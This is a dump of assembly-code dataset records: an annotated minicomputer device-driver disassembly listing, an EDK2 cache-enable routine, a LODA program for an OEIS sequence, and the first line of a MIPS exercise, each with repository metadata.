0x0068 (0x0000D0) 0x74B1- f:00072 d: 177 | R = P + 177 (0x0119)
0x0069 (0x0000D2) 0x7422- f:00072 d: 34 | R = P + 34 (0x008B)
0x006A (0x0000D4) 0x7003- f:00070 d: 3 | P = P + 3 (0x006D)
0x006B (0x0000D6) 0x7C34- f:00076 d: 52 | R = OR[52]
0x006C (0x0000D8) 0x0000- f:00000 d: 0 | PASS
0x006D (0x0000DA) 0x2118- f:00020 d: 280 | A = OR[280]
0x006E (0x0000DC) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x006F (0x0000DE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0070 (0x0000E0) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0071 (0x0000E2) 0x290E- f:00024 d: 270 | OR[270] = A
0x0072 (0x0000E4) 0x210E- f:00020 d: 270 | A = OR[270]
0x0073 (0x0000E6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0074 (0x0000E8) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0075 (0x0000EA) 0x290F- f:00024 d: 271 | OR[271] = A
0x0076 (0x0000EC) 0x210F- f:00020 d: 271 | A = OR[271]
0x0077 (0x0000EE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0078 (0x0000F0) 0x290F- f:00024 d: 271 | OR[271] = A
0x0079 (0x0000F2) 0x210E- f:00020 d: 270 | A = OR[270]
0x007A (0x0000F4) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x007C (0x0000F8) 0x250F- f:00022 d: 271 | A = A + OR[271]
0x007D (0x0000FA) 0x290E- f:00024 d: 270 | OR[270] = A
0x007E (0x0000FC) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x007F (0x0000FE) 0x210F- f:00020 d: 271 | A = OR[271]
0x0080 (0x000100) 0x2005- f:00020 d: 5 | A = OR[5]
0x0081 (0x000102) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0082 (0x000104) 0x2908- f:00024 d: 264 | OR[264] = A
0x0083 (0x000106) 0x211A- f:00020 d: 282 | A = OR[282]
0x0084 (0x000108) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0085 (0x00010A) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0086 (0x00010C) 0x2921- f:00024 d: 289 | OR[289] = A
0x0087 (0x00010E) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x0088 (0x000110) 0x5800- f:00054 d: 0 | B = A
0x0089 (0x000112) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x008A (0x000114) 0x7C09- f:00076 d: 9 | R = OR[9]
0x008B (0x000116) 0x74F9- f:00072 d: 249 | R = P + 249 (0x0184)
0x008C (0x000118) 0x211C- f:00020 d: 284 | A = OR[284]
0x008D (0x00011A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x008E (0x00011C) 0x2908- f:00024 d: 264 | OR[264] = A
0x008F (0x00011E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0090 (0x000120) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0091 (0x000122) 0x8402- f:00102 d: 2 | P = P + 2 (0x0093), A = 0
0x0092 (0x000124) 0x7002- f:00070 d: 2 | P = P + 2 (0x0094)
0x0093 (0x000126) 0x744E- f:00072 d: 78 | R = P + 78 (0x00E1)
0x0094 (0x000128) 0x2118- f:00020 d: 280 | A = OR[280]
0x0095 (0x00012A) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x0096 (0x00012C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0097 (0x00012E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0098 (0x000130) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0099 (0x000132) 0x8602- f:00103 d: 2 | P = P + 2 (0x009B), A # 0
0x009A (0x000134) 0x7002- f:00070 d: 2 | P = P + 2 (0x009C)
0x009B (0x000136) 0x740E- f:00072 d: 14 | R = P + 14 (0x00A9)
0x009C (0x000138) 0x0200- f:00001 d: 0 | EXIT
0x009D (0x00013A) 0x1190- f:00010 d: 400 | A = 400 (0x0190)
0x009E (0x00013C) 0x8405- f:00102 d: 5 | P = P + 5 (0x00A3), A = 0
0x009F (0x00013E) 0x420F- f:00041 d: 15 | C = 1, io 0017 (EXB) = BZ
0x00A0 (0x000140) 0x8003- f:00100 d: 3 | P = P + 3 (0x00A3), C = 0
0x00A1 (0x000142) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00A2 (0x000144) 0x7204- f:00071 d: 4 | P = P - 4 (0x009E)
0x00A3 (0x000146) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A5), A = 0
0x00A4 (0x000148) 0x7004- f:00070 d: 4 | P = P + 4 (0x00A8)
0x00A5 (0x00014A) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x00A6 (0x00014C) 0x291E- f:00024 d: 286 | OR[286] = A
0x00A7 (0x00014E) 0x74F2- f:00072 d: 242 | R = P + 242 (0x0199)
0x00A8 (0x000150) 0x0200- f:00001 d: 0 | EXIT
0x00A9 (0x000152) 0x0400- f:00002 d: 0 | I = 0
0x00AA (0x000154) 0x0000- f:00000 d: 0 | PASS
0x00AB (0x000156) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00AC (0x000158) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x00AD (0x00015A) 0x2118- f:00020 d: 280 | A = OR[280]
0x00AE (0x00015C) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x00AF (0x00015E) 0x2913- f:00024 d: 275 | OR[275] = A
0x00B0 (0x000160) 0x1009- f:00010 d: 9 | A = 9 (0x0009)
0x00B1 (0x000162) 0x2921- f:00024 d: 289 | OR[289] = A
0x00B2 (0x000164) 0x2113- f:00020 d: 275 | A = OR[275]
0x00B3 (0x000166) 0x2922- f:00024 d: 290 | OR[290] = A
0x00B4 (0x000168) 0x1800-0x0258 f:00014 d: 0 | A = 600 (0x0258)
0x00B6 (0x00016C) 0x2923- f:00024 d: 291 | OR[291] = A
0x00B7 (0x00016E) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x00B8 (0x000170) 0x5800- f:00054 d: 0 | B = A
0x00B9 (0x000172) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318)
0x00BB (0x000176) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00BC (0x000178) 0x2006- f:00020 d: 6 | A = OR[6]
0x00BD (0x00017A) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x00BE (0x00017C) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BF (0x00017E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C0 (0x000180) 0x291C- f:00024 d: 284 | OR[284] = A
0x00C1 (0x000182) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00C2 (0x000184) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x00C3 (0x000186) 0x211B- f:00020 d: 283 | A = OR[283]
0x00C4 (0x000188) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address
0x00C5 (0x00018A) 0x2118- f:00020 d: 280 | A = OR[280]
0x00C6 (0x00018C) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x00C7 (0x00018E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C8 (0x000190) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C9 (0x000192) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x00CB (0x000196) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00CC (0x000198) 0x211C- f:00020 d: 284 | A = OR[284]
0x00CD (0x00019A) 0x8602- f:00103 d: 2 | P = P + 2 (0x00CF), A # 0
0x00CE (0x00019C) 0x700D- f:00070 d: 13 | P = P + 13 (0x00DB)
0x00CF (0x00019E) 0x2118- f:00020 d: 280 | A = OR[280]
0x00D0 (0x0001A0) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x00D1 (0x0001A2) 0x2908- f:00024 d: 264 | OR[264] = A
0x00D2 (0x0001A4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00D3 (0x0001A6) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x00D4 (0x0001A8) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x00D5 (0x0001AA) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x00D6 (0x0001AC) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x00D7 (0x0001AE) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00D8 (0x0001B0) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x00D9 (0x0001B2) 0x291E- f:00024 d: 286 | OR[286] = A
0x00DA (0x0001B4) 0x74BF- f:00072 d: 191 | R = P + 191 (0x0199)
0x00DB (0x0001B6) 0x2118- f:00020 d: 280 | A = OR[280]
0x00DC (0x0001B8) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00DD (0x0001BA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00DE (0x0001BC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00DF (0x0001BE) 0x291C- f:00024 d: 284 | OR[284] = A
0x00E0 (0x0001C0) 0x0200- f:00001 d: 0 | EXIT
0x00E1 (0x0001C2) 0x1800-0x0202 f:00014 d: 0 | A = 514 (0x0202)
0x00E3 (0x0001C6) 0x291D- f:00024 d: 285 | OR[285] = A
0x00E4 (0x0001C8) 0x7466- f:00072 d: 102 | R = P + 102 (0x014A)
0x00E5 (0x0001CA) 0x2118- f:00020 d: 280 | A = OR[280]
0x00E6 (0x0001CC) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x00E7 (0x0001CE) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E8 (0x0001D0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00E9 (0x0001D2) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x00EA (0x0001D4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00EB (0x0001D6) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x00EC (0x0001D8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00ED (0x0001DA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EE (0x0001DC) 0x291F- f:00024 d: 287 | OR[287] = A
0x00EF (0x0001DE) 0x211F- f:00020 d: 287 | A = OR[287]
0x00F0 (0x0001E0) 0x861F- f:00103 d: 31 | P = P + 31 (0x010F), A # 0
0x00F1 (0x0001E2) 0x7493- f:00072 d: 147 | R = P + 147 (0x0184)
0x00F2 (0x0001E4) 0x211C- f:00020 d: 284 | A = OR[284]
0x00F3 (0x0001E6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00F4 (0x0001E8) 0x2908- f:00024 d: 264 | OR[264] = A
0x00F5 (0x0001EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F6 (0x0001EC) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00F7 (0x0001EE) 0x8602- f:00103 d: 2 | P = P + 2 (0x00F9), A # 0
0x00F8 (0x0001F0) 0x7003- f:00070 d: 3 | P = P + 3 (0x00FB)
0x00F9 (0x0001F2) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00FA (0x0001F4) 0x291F- f:00024 d: 287 | OR[287] = A
0x00FB (0x0001F6) 0x2118- f:00020 d: 280 | A = OR[280]
0x00FC (0x0001F8) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x00FD (0x0001FA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00FE (0x0001FC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00FF (0x0001FE) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0100 (0x000200) 0x291A- f:00024 d: 282 | OR[282] = A
0x0101 (0x000202) 0x211A- f:00020 d: 282 | A = OR[282]
0x0102 (0x000204) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0103 (0x000206) 0x8405- f:00102 d: 5 | P = P + 5 (0x0108), A = 0
0x0104 (0x000208) 0x211A- f:00020 d: 282 | A = OR[282]
0x0105 (0x00020A) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0106 (0x00020C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0108), A = 0
0x0107 (0x00020E) 0x7005- f:00070 d: 5 | P = P + 5 (0x010C)
0x0108 (0x000210) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0109 (0x000212) 0x291A- f:00024 d: 282 | OR[282] = A
0x010A (0x000214) 0x747F- f:00072 d: 127 | R = P + 127 (0x0189)
0x010B (0x000216) 0x7003- f:00070 d: 3 | P = P + 3 (0x010E)
0x010C (0x000218) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x010D (0x00021A) 0x291F- f:00024 d: 287 | OR[287] = A
0x010E (0x00021C) 0x721F- f:00071 d: 31 | P = P - 31 (0x00EF)
0x010F (0x00021E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0110 (0x000220) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0111 (0x000222) 0x2908- f:00024 d: 264 | OR[264] = A
0x0112 (0x000224) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0113 (0x000226) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x0114 (0x000228) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x0115 (0x00022A) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x0116 (0x00022C) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0117 (0x00022E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0118 (0x000230) 0x0200- f:00001 d: 0 | EXIT
0x0119 (0x000232) 0x1800-0x0201 f:00014 d: 0 | A = 513 (0x0201)
0x011B (0x000236) 0x291D- f:00024 d: 285 | OR[285] = A
0x011C (0x000238) 0x742E- f:00072 d: 46 | R = P + 46 (0x014A)
0x011D (0x00023A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x011E (0x00023C) 0x291A- f:00024 d: 282 | OR[282] = A
0x011F (0x00023E) 0x211A- f:00020 d: 282 | A = OR[282]
0x0120 (0x000240) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0121 (0x000242) 0x291A- f:00024 d: 282 | OR[282] = A
0x0122 (0x000244) 0x2118- f:00020 d: 280 | A = OR[280]
0x0123 (0x000246) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0124 (0x000248) 0x2908- f:00024 d: 264 | OR[264] = A
0x0125 (0x00024A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0126 (0x00024C) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0127 (0x00024E) 0x251A- f:00022 d: 282 | A = A + OR[282]
0x0128 (0x000250) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0129 (0x000252) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x012A (0x000254) 0x211A- f:00020 d: 282 | A = OR[282]
0x012B (0x000256) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x012C (0x000258) 0x8609- f:00103 d: 9 | P = P + 9 (0x0135), A # 0
0x012D (0x00025A) 0x2118- f:00020 d: 280 | A = OR[280]
0x012E (0x00025C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x012F (0x00025E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0130 (0x000260) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0131 (0x000262) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0132 (0x000264) 0x291A- f:00024 d: 282 | OR[282] = A
0x0133 (0x000266) 0x7456- f:00072 d: 86 | R = P + 86 (0x0189)
0x0134 (0x000268) 0x720A- f:00071 d: 10 | P = P - 10 (0x012A)
0x0135 (0x00026A) 0x2118- f:00020 d: 280 | A = OR[280]
0x0136 (0x00026C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0137 (0x00026E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0138 (0x000270) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0139 (0x000272) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x013A (0x000274) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x013B (0x000276) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x013C (0x000278) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x013D (0x00027A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x013E (0x00027C) 0x211A- f:00020 d: 282 | A = OR[282]
0x013F (0x00027E) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0140 (0x000280) 0x8402- f:00102 d: 2 | P = P + 2 (0x0142), A = 0
0x0141 (0x000282) 0x7004- f:00070 d: 4 | P = P + 4 (0x0145)
0x0142 (0x000284) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0143 (0x000286) 0x291A- f:00024 d: 282 | OR[282] = A
0x0144 (0x000288) 0x7005- f:00070 d: 5 | P = P + 5 (0x0149)
0x0145 (0x00028A) 0x211A- f:00020 d: 282 | A = OR[282]
0x0146 (0x00028C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0148), A # 0
0x0147 (0x00028E) 0x7002- f:00070 d: 2 | P = P + 2 (0x0149)
0x0148 (0x000290) 0x72DB- f:00071 d: 219 | P = P - 219 (0x006D)
0x0149 (0x000292) 0x0200- f:00001 d: 0 | EXIT
0x014A (0x000294) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x014B (0x000296) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x014C (0x000298) 0x2118- f:00020 d: 280 | A = OR[280]
0x014D (0x00029A) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x014E (0x00029C) 0x2913- f:00024 d: 275 | OR[275] = A
0x014F (0x00029E) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0150 (0x0002A0) 0x2921- f:00024 d: 289 | OR[289] = A
0x0151 (0x0002A2) 0x1800-0x002F f:00014 d: 0 | A = 47 (0x002F)
0x0153 (0x0002A6) 0x2922- f:00024 d: 290 | OR[290] = A
0x0154 (0x0002A8) 0x211D- f:00020 d: 285 | A = OR[285]
0x0155 (0x0002AA) 0x2923- f:00024 d: 291 | OR[291] = A
0x0156 (0x0002AC) 0x2113- f:00020 d: 275 | A = OR[275]
0x0157 (0x0002AE) 0x2924- f:00024 d: 292 | OR[292] = A
0x0158 (0x0002B0) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x0159 (0x0002B2) 0x5800- f:00054 d: 0 | B = A
0x015A (0x0002B4) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318)
0x015C (0x0002B8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x015D (0x0002BA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x015E (0x0002BC) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x015F (0x0002BE) 0x211B- f:00020 d: 283 | A = OR[283]
0x0160 (0x0002C0) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address
0x0161 (0x0002C2) 0x0200- f:00001 d: 0 | EXIT
0x0162 (0x0002C4) 0x1800-0x2FD4 f:00014 d: 0 | A = 12244 (0x2FD4)
0x0164 (0x0002C8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0165 (0x0002CA) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x0166 (0x0002CC) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0167 (0x0002CE) 0x1800-0x2FD4 f:00014 d: 0 | A = 12244 (0x2FD4)
0x0169 (0x0002D2) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x016A (0x0002D4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x016B (0x0002D6) 0x2913- f:00024 d: 275 | OR[275] = A
0x016C (0x0002D8) 0x2113- f:00020 d: 275 | A = OR[275]
0x016D (0x0002DA) 0xDA0F- f:00155 d: 15 | io 0017 (EXB), fn015 | Data output to B register (DOB)
0x016E (0x0002DC) 0x76D1- f:00073 d: 209 | R = P - 209 (0x009D)
0x016F (0x0002DE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0170 (0x0002E0) 0x2920- f:00024 d: 288 | OR[288] = A
0x0171 (0x0002E2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0172 (0x0002E4) 0x2720- f:00023 d: 288 | A = A - OR[288]
0x0173 (0x0002E6) 0xDC0F- f:00156 d: 15 | io 0017 (EXB), fn016 | Data output to C register (DOC)
0x0174 (0x0002E8) 0x76D7- f:00073 d: 215 | R = P - 215 (0x009D)
0x0175 (0x0002EA) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0176 (0x0002EC) 0xDE0F- f:00157 d: 15 | io 0017 (EXB), fn017 | Send control
0x0177 (0x0002EE) 0x76DA- f:00073 d: 218 | R = P - 218 (0x009D)
0x0178 (0x0002F0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0179 (0x0002F2) 0xCC0F- f:00146 d: 15 | io 0017 (EXB), fn006 | Send interface mask (MSKO)
0x017A (0x0002F4) 0x2118- f:00020 d: 280 | A = OR[280]
0x017B (0x0002F6) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x017C (0x0002F8) 0x2908- f:00024 d: 264 | OR[264] = A
0x017D (0x0002FA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x017E (0x0002FC) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x017F (0x0002FE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0180 (0x000300) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0181 (0x000302) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0182 (0x000304) 0x76D9- f:00073 d: 217 | R = P - 217 (0x00A9)
0x0183 (0x000306) 0x0200- f:00001 d: 0 | EXIT
0x0184 (0x000308) 0xC20F- f:00141 d: 15 | io 0017 (EXB), fn001 | Request data input from A register (DIA)
0x0185 (0x00030A) 0x76E8- f:00073 d: 232 | R = P - 232 (0x009D)
0x0186 (0x00030C) 0xD00F- f:00150 d: 15 | io 0017 (EXB), fn010 | Read data bus status
0x0187 (0x00030E) 0x291C- f:00024 d: 284 | OR[284] = A
0x0188 (0x000310) 0x0200- f:00001 d: 0 | EXIT
0x0189 (0x000312) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x018A (0x000314) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x018B (0x000316) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x018C (0x000318) 0x2921- f:00024 d: 289 | OR[289] = A
0x018D (0x00031A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x018E (0x00031C) 0x2922- f:00024 d: 290 | OR[290] = A
0x018F (0x00031E) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x0190 (0x000320) 0x5800- f:00054 d: 0 | B = A
0x0191 (0x000322) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318)
0x0193 (0x000326) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0194 (0x000328) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0195 (0x00032A) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x0196 (0x00032C) 0x211B- f:00020 d: 283 | A = OR[283]
0x0197 (0x00032E) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address
0x0198 (0x000330) 0x0200- f:00001 d: 0 | EXIT
0x0199 (0x000332) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x019A (0x000334) 0x2921- f:00024 d: 289 | OR[289] = A
0x019B (0x000336) 0x1800-0x00AC f:00014 d: 0 | A = 172 (0x00AC)
0x019D (0x00033A) 0x2922- f:00024 d: 290 | OR[290] = A
0x019E (0x00033C) 0x2118- f:00020 d: 280 | A = OR[280]
0x019F (0x00033E) 0x2923- f:00024 d: 291 | OR[291] = A
0x01A0 (0x000340) 0x211E- f:00020 d: 286 | A = OR[286]
0x01A1 (0x000342) 0x2924- f:00024 d: 292 | OR[292] = A
0x01A2 (0x000344) 0x1121- f:00010 d: 289 | A = 289 (0x0121)
0x01A3 (0x000346) 0x5800- f:00054 d: 0 | B = A
0x01A4 (0x000348) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318)
0x01A6 (0x00034C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01A7 (0x00034E) 0x291A- f:00024 d: 282 | OR[282] = A
0x01A8 (0x000350) 0x211A- f:00020 d: 282 | A = OR[282]
0x01A9 (0x000352) 0x8602- f:00103 d: 2 | P = P + 2 (0x01AB), A # 0
0x01AA (0x000354) 0x7002- f:00070 d: 2 | P = P + 2 (0x01AC)
0x01AB (0x000356) 0x733E- f:00071 d: 318 | P = P - 318 (0x006D)
0x01AC (0x000358) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01AD (0x00035A) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode
0x01AE (0x00035C) 0x211B- f:00020 d: 283 | A = OR[283]
0x01AF (0x00035E) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address
0x01B0 (0x000360) 0x0200- f:00001 d: 0 | EXIT
0x01B1 (0x000362) 0x0000- f:00000 d: 0 | PASS
0x01B2 (0x000364) 0x0000- f:00000 d: 0 | PASS
0x01B3 (0x000366) 0x0000- f:00000 d: 0 | PASS
| 80.794749
| 122
| 0.470328
|
124e10960d26926f0f7c8d13fb99ebf16eaac8f0
| 1,238
|
asm
|
Assembly
|
MdePkg/Library/BaseLib/Ia32/EnableCache.asm
|
sscargal/ipmctl
|
48e4cdc8682e9efafc838bda66d4af282c29dc11
|
[
"BSD-3-Clause"
] | 151
|
2018-06-01T20:14:34.000Z
|
2022-03-13T08:34:07.000Z
|
MdePkg/Library/BaseLib/Ia32/EnableCache.asm
|
sscargal/ipmctl
|
48e4cdc8682e9efafc838bda66d4af282c29dc11
|
[
"BSD-3-Clause"
] | 179
|
2018-06-21T18:07:54.000Z
|
2022-03-30T16:06:39.000Z
|
MdePkg/Library/BaseLib/Ia32/EnableCache.asm
|
sscargal/ipmctl
|
48e4cdc8682e9efafc838bda66d4af282c29dc11
|
[
"BSD-3-Clause"
] | 58
|
2018-06-07T21:59:15.000Z
|
2022-03-16T23:26:38.000Z
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; EnableCache.Asm
;
; Abstract:
;
; Flush all caches with a WBINVD instruction, clear the CD bit of CR0 to 0, and clear
; the NW bit of CR0 to 0
;
; Notes:
;
;------------------------------------------------------------------------------
.486p
.model flat,C
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmEnableCache (
; VOID
; );
;------------------------------------------------------------------------------
AsmEnableCache PROC
wbinvd
mov eax, cr0
btr eax, 29
btr eax, 30
mov cr0, eax
ret
AsmEnableCache ENDP
END
| 26.913043
| 87
| 0.508078
|
9105affd8684328c920eb783118f89528598bfe5
| 499
|
asm
|
Assembly
|
oeis/110/A110169.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/110/A110169.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/110/A110169.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A110169: Triangle read by rows: T(n,k) (0<=k<=n) is the number of Delannoy paths of length n that start with exactly k (1,1) steps.
; Submitted by Jon Maiga
; 1,2,1,10,2,1,50,10,2,1,258,50,10,2,1,1362,258,50,10,2,1,7306,1362,258,50,10,2,1,39650,7306,1362,258,50,10,2,1,217090,39650,7306,1362,258,50,10,2,1,1196834,217090,39650,7306,1362,258,50,10,2,1,6634890,1196834
seq $0,25581 ; Triangle T(n, k) = n-k, 0 <= k <= n.
seq $0,110170 ; First differences of the central Delannoy numbers (A001850).
| 71.285714
| 209
| 0.699399
|
de49f191f4bde2db163910772773d54486f441bd
| 999
|
asm
|
Assembly
|
Src/Q11.asm
|
OferMon/MIPS-Assembly-Exercises
|
6f5699f2d1f5c3312467af038679eab238d33866
|
[
"Apache-2.0"
] | null | null | null |
Src/Q11.asm
|
OferMon/MIPS-Assembly-Exercises
|
6f5699f2d1f5c3312467af038679eab238d33866
|
[
"Apache-2.0"
] | null | null | null |
Src/Q11.asm
|
OferMon/MIPS-Assembly-Exercises
|
6f5699f2d1f5c3312467af038679eab238d33866
|
[
"Apache-2.0"
] | null | null | null |
.data 0x10020000
